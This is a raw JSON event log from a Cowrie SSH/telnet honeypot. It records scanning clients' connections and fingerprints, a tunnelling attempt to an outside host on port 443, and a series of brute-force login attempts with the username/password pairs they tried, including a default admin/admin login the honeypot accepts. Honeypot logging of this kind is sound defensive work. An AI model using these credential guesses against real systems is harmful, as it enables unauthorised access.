{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:10.103281Z","session":"97d8f3490c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:10.482365Z","src_ip":"91.92.40.36","session":"5e97d0a2163a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:11.084763Z","src_ip":"38.46.222.137","session":"97d8f3490c84","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc3;\\xe5X \\xc1\\x04\\xe4:4\\xe3\\xf7\\xdf\\x97\\x92\\xdcX\\xeb\\x17j+\\x10\\x16tq\\xd0#[\\x14\\xf0N> \\xb7\\x16\\xbb\\xfc\\x19\\xcf\\xdaA\\xcd\\xfe\\xb0\\xe0\\xafkQ|;\\xd5\\x95l/\\xcal\\xdf\\x0cpx9|YC\\xba\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2\\xc3iu\\xc0\\xce\\x87\\xb4QR\\x1c\\xe6\\xbbh#d$\\xdd*\\xbc2\\xe4\\xf3\\x90\\xb6$\\xaa[}\\x89\\x92i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc3;\\xe5X \\xc1\\x04\\xe4:4\\xe3\\xf7\\xdf\\x97\\x92\\xdcX\\xeb\\x17j+\\x10\\x16tq\\xd0#[\\x14\\xf0N> \\xb7\\x16\\xbb\\xfc\\x19\\xcf\\xdaA\\xcd\\xfe\\xb0\\xe0\\xafkQ|;\\xd5\\x95l/\\xcal\\xdf\\x0cpx9|YC\\xba\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2\\xc3iu\\xc0\\xce\\x87\\xb4QR\\x1c\\xe6\\xbbh#d$\\xdd*\\xbc2\\xe4\\xf3\\x90\\xb6$\\xaa[}\\x89\\x92i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:11.087940Z","src_ip":"38.46.222.137","session":"97d8f3490c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.4","message":"Connection lost after 30.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:12.100311Z","src_ip":"23.175.50.51","session":"dc96fb6b3391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11330,"dst_ip":"159.203.135.109","dst_port":22,"session":"01a71901a3d9","protocol":"ssh","message":"New connection: 91.92.40.36:11330 (159.203.135.109:22) [session: 01a71901a3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:13.240297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:13.747958Z","src_ip":"91.92.40.36","session":"01a71901a3d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:14.504980Z","src_ip":"91.92.40.36","session":"01a71901a3d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.028202056884766,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:16.161970Z","src_ip":"128.199.8.54","session":"d1c034a36878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:18.482961Z","src_ip":"38.46.222.137","session":"97d8f3490c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagiosnagios","message":"login attempt [nagios/nagiosnagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:18.692421Z","src_ip":"91.92.40.36","session":"01a71901a3d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:20.894458Z","src_ip":"91.92.40.36","session":"01a71901a3d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48502,"dst_ip":"159.203.135.109","dst_port":22,"session":"06c2df7cd5ad","protocol":"ssh","message":"New connection: 91.92.40.36:48502 (159.203.135.109:22) [session: 06c2df7cd5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:21.192527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:21.744249Z","src_ip":"91.92.40.36","session":"06c2df7cd5ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:22.901581Z","src_ip":"91.92.40.36","session":"06c2df7cd5ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34130,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc2abb8cba92","protocol":"ssh","message":"New connection: 91.92.40.36:34130 (159.203.135.109:22) [session: fc2abb8cba92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:27.777851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:27.870117Z","src_ip":"91.92.40.36","session":"fc2abb8cba92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:27.977647Z","src_ip":"91.92.40.36","session":"fc2abb8cba92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moth3r","password":"fuck.3r","message":"login attempt [moth3r/fuck.3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:28.256703Z","src_ip":"91.92.40.36","session":"06c2df7cd5ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qa@WS3ed","message":"login attempt [ubuntu/1qa@WS3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:28.915833Z","src_ip":"91.92.40.36","session":"fc2abb8cba92","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:29.194986Z","src_ip":"147.139.136.75","session":"4f20f1a56e7d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:29.265998Z","src_ip":"147.139.136.75","session":"4f20f1a56e7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:30.256376Z","src_ip":"91.92.40.36","session":"fc2abb8cba92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:30.591571Z","src_ip":"91.92.40.36","session":"06c2df7cd5ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34194,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd71a6d69b8","protocol":"ssh","message":"New connection: 91.92.40.36:34194 (159.203.135.109:22) [session: 6fd71a6d69b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:33.894287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:34.819489Z","src_ip":"91.92.40.36","session":"6fd71a6d69b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:34.822979Z","src_ip":"91.92.40.36","session":"6fd71a6d69b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123qwerty","message":"login attempt [ftpuser/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:38.451974Z","src_ip":"91.92.40.36","session":"6fd71a6d69b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:40.652009Z","src_ip":"91.92.40.36","session":"6fd71a6d69b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38100,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1df28885219","protocol":"ssh","message":"New connection: 91.92.40.36:38100 (159.203.135.109:22) [session: c1df28885219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:42.698089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:43.722968Z","src_ip":"91.92.40.36","session":"c1df28885219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:44.802024Z","src_ip":"91.92.40.36","session":"c1df28885219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:49.679729Z","src_ip":"46.19.67.181","session":"2473c312a7a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"reeder","message":"login attempt [admin/reeder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:50.393569Z","src_ip":"91.92.40.36","session":"c1df28885219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48330,"dst_ip":"159.203.135.109","dst_port":22,"session":"df7eb011aaa5","protocol":"ssh","message":"New connection: 91.92.40.36:48330 (159.203.135.109:22) [session: df7eb011aaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:51.232875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:51.737680Z","src_ip":"91.92.40.36","session":"df7eb011aaa5","protocol":"ssh"}
